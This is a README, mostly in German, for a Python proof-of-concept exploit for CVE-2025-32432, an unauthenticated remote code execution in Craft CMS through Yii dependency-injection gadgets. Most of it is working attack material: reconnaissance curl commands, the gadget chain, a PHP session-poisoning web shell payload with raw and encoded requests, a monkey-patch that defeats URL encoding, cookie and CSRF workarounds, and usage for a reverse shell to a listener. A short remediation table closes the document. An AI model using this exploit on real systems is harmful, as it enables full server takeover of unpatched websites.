si13nttt/cve-2025-32432Python-PoC, der CVE-2025-32432 ausnutzt, eine unauthentifizierte RCE in Craft CMS über Yii-DI-Gadget-Injection, mit assetId-Scanning, Reverse Shell und Hinweisen zur Behebung.
Schweregrad: Kritisch (CVSS 10.0) Authentifizierung erforderlich: Keine Betroffen: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Behoben in: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
Bevor Sie den Exploit ausführen, bestätigen Sie, dass das Ziel eine verwundbare Version von Craft CMS ausführt.
curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://target/cms/actions/assets/generate-transform \
-H "Content-Type: application/json" \
-d '{"assetId":1,"handle":{"width":1,"height":1}}'
python3 exploit.py -u http://target/cms -c "id"
Wenn die Ausgabe uid= enthält, ist das Ziel als verwundbar bestätigt und RCE wurde erreicht.
AssetsController::actionGenerateTransform() ist als allowAnonymous deklariert, wodurch es ohne Authentifizierung erreichbar ist. Es übergibt den benutzergesteuerten handle-Parameter direkt an Yii::createObject():
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Yii's DI-Container behandelt zwei spezielle Array-Schlüssel ohne jegliche Allow-List:
| Schlüssel | Verhalten |
|---|---|
__class | Instanziiert diese Klasse anstelle des deklarierten Typs |
__construct() | Übergibt diese Werte als Konstruktorargumente |
Gadget-Kette:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
Session-Datei-Vergiftung schließt den Kreis: PHP speichert GET-Parameter wörtlich in /tmp/sess_<CraftSessionId>. Das Platzieren von <?=shell_exec($_GET['cmd']);exit;?> dort ermöglicht RCE.
Grundproblem: Python requests kodiert <, >, ?, = vor dem Senden. PHPs Session-Handler speichert die prozentkodierten Bytes — nicht ausführbares PHP.
GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.
GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.
Fix: Monkey-Patch HTTPConnectionPool._make_request — der letzte Punkt vor TCP — und rufen Sie dort urllib.parse.unquote() auf:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before socket write
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
Der Standard: PHPs Standard-Session-Cookie ist PHPSESSID. Craft CMS überschreibt dies in seiner Anwendungskonfiguration:
// craft/config/app.php (Craft CMS source)
'session' => [
'class' => craft\web\Session::class,
'cookieName' => 'CraftSessionId', // <-- custom name, NOT PHPSESSID
],
Das bedeutet, dass die Session-Datei auf der Festplatte /tmp/sess_<CraftSessionId> ist, nicht /tmp/sess_<PHPSESSID>.
| Eigenschaft | PHP-Standard | Craft CMS |
|---|---|---|
| Cookie-Name | PHPSESSID | CraftSessionId |
| Session-Datei | /tmp/sess_abc123 | /tmp/sess_abc123 |
| Wie zu lesen | session.cookies.get("PHPSESSID") | session.cookies.get("CraftSessionId") |
| Was passiert bei Fehler | None zurückgegeben | itemFile-Pfad zeigt auf nicht existierende Datei |
| Ergebnis | Exploit schlägt still fehl | kein Fehler — require() schlägt einfach fehl |
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_None" — does not exist
# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"
Sie können den korrekten Cookie-Namen überprüfen, indem Sie die Browser-DevTools nach dem Besuch einer beliebigen Craft-Seite inspizieren oder den Set-Cookie-Response-Header prüfen:
curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly
Craft validiert CSRF-Token bei allen nicht-anonymen POST-Aktionen. Das Weglassen des Tokens verursacht 400 Bad Request.
# BROKEN
requests.post(url, json=payload)
# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| Problem | Log-Poisoning-PoCs | Session (falsches Cookie) | Session (kein CSRF) | Dieser PoC |
|---|---|---|---|---|
| URL-Kodierung | N/A (User-Agent) | KAPUTT | KAPUTT | BEHOBEN monkey-patched |
| Cookie-Name | N/A | KAPUTT PHPSESSID | KAPUTT PHPSESSID | BEHOBEN CraftSessionId |
| CSRF beim Trigger | OK | OK | KAPUTT | BEHOBEN |
| Veraltetes Log exit; | KAPUTT | N/A | N/A | N/A |
| Funktioniert mit /cms-Präfix | KAPUTT | KAPUTT | KAPUTT | BEHOBEN |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a Python3 reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| Aktion | Detail |
|---|---|
| Craft CMS aktualisieren | 3.9.15 / 4.14.15 / 5.6.17 validiert, dass handle ImageTransformerInterface implementiert |
| Yii2 aktualisieren | 2.0.50 blockiert __class-Injection in Component::__set |
| WAF-Regel | Blockieren Sie __class oder __construct() im Request-Body an /actions/assets/generate-transform |